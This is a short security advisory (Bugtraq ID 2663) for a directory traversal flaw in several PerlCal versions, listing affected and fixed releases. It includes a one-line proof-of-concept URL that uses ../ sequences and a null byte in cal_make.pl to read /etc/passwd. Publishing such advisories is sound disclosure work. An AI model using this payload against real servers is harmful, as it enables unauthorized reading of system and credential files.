PerlCal Directory Traversal Vulnerability

BID:2663

Info

PerlCal Directory Traversal Vulnerability

Bugtraq ID: 2663
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Apr 27 2001 12:00AM
Updated: Apr 27 2001 12:00AM
Credit: Reported to bugtraq by Stan a.k.a. ThePike <[email protected]> on April 27, 2001.
Vulnerable: Acme Software PerlCal 2.95
Acme Software PerlCal 2.80
Acme Software PerlCal 2.18
Acme Software PerlCal 2.13
Acme Software PerlCal 2.9 e
Acme Software PerlCal 2.9 d
Acme Software PerlCal 2.9 c
Acme Software PerlCal 2.9 b
Acme Software PerlCal 2.9 a
Acme Software PerlCal 2.9
Acme Software PerlCal 2.7
Acme Software PerlCal 2.6
Acme Software PerlCal 2.5
Acme Software PerlCal 2.4
Acme Software PerlCal 2.3
Not Vulnerable: Acme Software PerlCal 2.99
Acme Software PerlCal 2.98
Acme Software PerlCal 2.97
Acme Software PerlCal 2.96

Exploit / POC

PerlCal Directory Traversal Vulnerability

http://www.example.com/cgi-bin/cal_make.pl?
p0=../../../../../../../../../../../../etc/passwd%00

This will display the /etc/passwd (if the webserver user has
access to this file).

(courtesy Stan a.k.a. ThePike <[email protected]>)

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